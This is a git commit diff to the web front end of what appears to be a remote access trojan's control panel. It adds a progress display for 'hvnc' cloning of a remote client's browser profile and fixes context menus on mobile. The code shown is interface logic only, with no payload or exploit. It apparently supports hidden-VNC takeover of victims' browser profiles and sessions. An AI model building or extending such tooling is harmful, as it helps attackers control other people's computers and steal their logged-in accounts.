add hvnc cloning progress, fix context menu stuff for mobile view, more updates

This commit is contained in:
KingKDot
2026-03-12 14:41:03 -05:00
parent f066cb6a8e
commit 173eb87311
12 changed files with 248 additions and 31 deletions
+53
View File
@@ -206,6 +206,51 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
}
}
const cloneProgressEl = document.getElementById("cloneProgress");
const cloneProgressBar = document.getElementById("cloneProgressBar");
const cloneProgressPct = document.getElementById("cloneProgressPct");
const cloneProgressLabel = document.getElementById("cloneProgressLabel");
let cloneHideTimer = null;
function handleCloneProgress(msg) {
if (!cloneProgressEl) return;
const pct = Math.min(100, Math.max(0, Number(msg.percent) || 0));
const status = msg.status || "";
const browser = msg.browser || "";
const totalMB = ((Number(msg.totalBytes) || 0) / (1024 * 1024)).toFixed(1);
const copiedMB = ((Number(msg.copiedBytes) || 0) / (1024 * 1024)).toFixed(1);
if (cloneHideTimer) {
clearTimeout(cloneHideTimer);
cloneHideTimer = null;
}
if (status === "done") {
cloneProgressBar.style.width = "100%";
cloneProgressPct.textContent = "100%";
cloneProgressLabel.textContent = `${browser} clone complete`;
cloneHideTimer = setTimeout(() => {
cloneProgressEl.classList.add("hidden");
cloneProgressEl.classList.remove("flex");
}, 3000);
return;
}
cloneProgressEl.classList.remove("hidden");
cloneProgressEl.classList.add("flex");
if (status === "scanning") {
cloneProgressBar.style.width = "0%";
cloneProgressPct.textContent = "…";
cloneProgressLabel.textContent = `Scanning ${browser} profile`;
return;
}
cloneProgressBar.style.width = `${pct}%`;
cloneProgressPct.textContent = `${pct}%`;
cloneProgressLabel.textContent = `Cloning ${browser} — ${copiedMB} / ${totalMB} MB`;
}
function sendCmd(type, payload) {
if (!activeClientId) {
console.warn("No active client selected");
@@ -542,6 +587,10 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
handleStatus(msg);
return;
}
if (msg && msg.type === "hvnc_clone_progress") {
handleCloneProgress(msg);
return;
}
return;
}
@@ -550,6 +599,10 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
handleStatus(msg);
return;
}
if (msg && msg.type === "hvnc_clone_progress") {
handleCloneProgress(msg);
return;
}
});
ws.addEventListener("open", function () {
+5 -5
View File
@@ -131,7 +131,7 @@ export function createRenderer({
card.dataset.id = client.id;
card.dataset.hwid = client.hwid || "";
let longPressTimer = null;
let longPressTriggered = false;
card._longPressTriggered = false;
let pointerStartX = 0;
let pointerStartY = 0;
@@ -158,12 +158,12 @@ export function createRenderer({
const clientId = card.dataset.id;
if (!clientId) return;
longPressTriggered = false;
card._longPressTriggered = false;
pointerStartX = e.clientX;
pointerStartY = e.clientY;
clearLongPress();
longPressTimer = setTimeout(() => {
longPressTriggered = true;
card._longPressTriggered = true;
openMenu(clientId, e.clientX, e.clientY);
}, TOUCH_LONG_PRESS_MS);
});
@@ -317,8 +317,8 @@ export function createRenderer({
?.addEventListener("click", () => openModal(client.thumbnail));
card.onclick = (e) => {
if (longPressTriggered) {
longPressTriggered = false;
if (card._longPressTriggered) {
card._longPressTriggered = false;
e.preventDefault();
e.stopPropagation();
return;
+6 -2
View File
@@ -259,16 +259,20 @@ function hideSubmenu() {
ctxMain.querySelectorAll(".ctx-row").forEach(r => r.classList.remove("ctx-active"));
}
// Desktop: hover to open group
function isMobileMenu() {
return window.matchMedia("(max-width: 600px)").matches;
}
ctxMain.querySelectorAll(".ctx-row").forEach(rowEl => {
rowEl.addEventListener("mouseenter", () => {
if (isMobileMenu()) return;
const groupId = rowEl.dataset.groupToggle;
if (groupId) showSubmenu(groupId, rowEl);
});
});
// Debounced hide — prevents the 5px gap between panels from closing the submenu
function scheduleHide() { _hideTimer = setTimeout(hideSubmenu, 150); }
function scheduleHide() { if (!isMobileMenu()) _hideTimer = setTimeout(hideSubmenu, 150); }
function cancelHide() { clearTimeout(_hideTimer); _hideTimer = null; }
ctxMain.addEventListener("mouseleave", scheduleHide);
+11
View File
@@ -88,6 +88,17 @@
<i class="fa-solid fa-circle-notch fa-spin"></i>
<span>Connecting</span>
</div>
<div
id="cloneProgress"
class="hidden items-center gap-2 bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2 text-sm text-slate-300"
>
<i class="fa-solid fa-clone text-violet-400"></i>
<span id="cloneProgressLabel">Cloning profile…</span>
<div class="w-32 h-2 bg-slate-700 rounded-full overflow-hidden">
<div id="cloneProgressBar" class="h-full bg-violet-500 rounded-full transition-all duration-200" style="width: 0%"></div>
</div>
<span id="cloneProgressPct" class="pill pill-ghost font-mono text-violet-200 min-w-[3ch] text-right">0%</span>
</div>
<div
class="flex items-center gap-2 bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2 text-sm text-slate-300"
>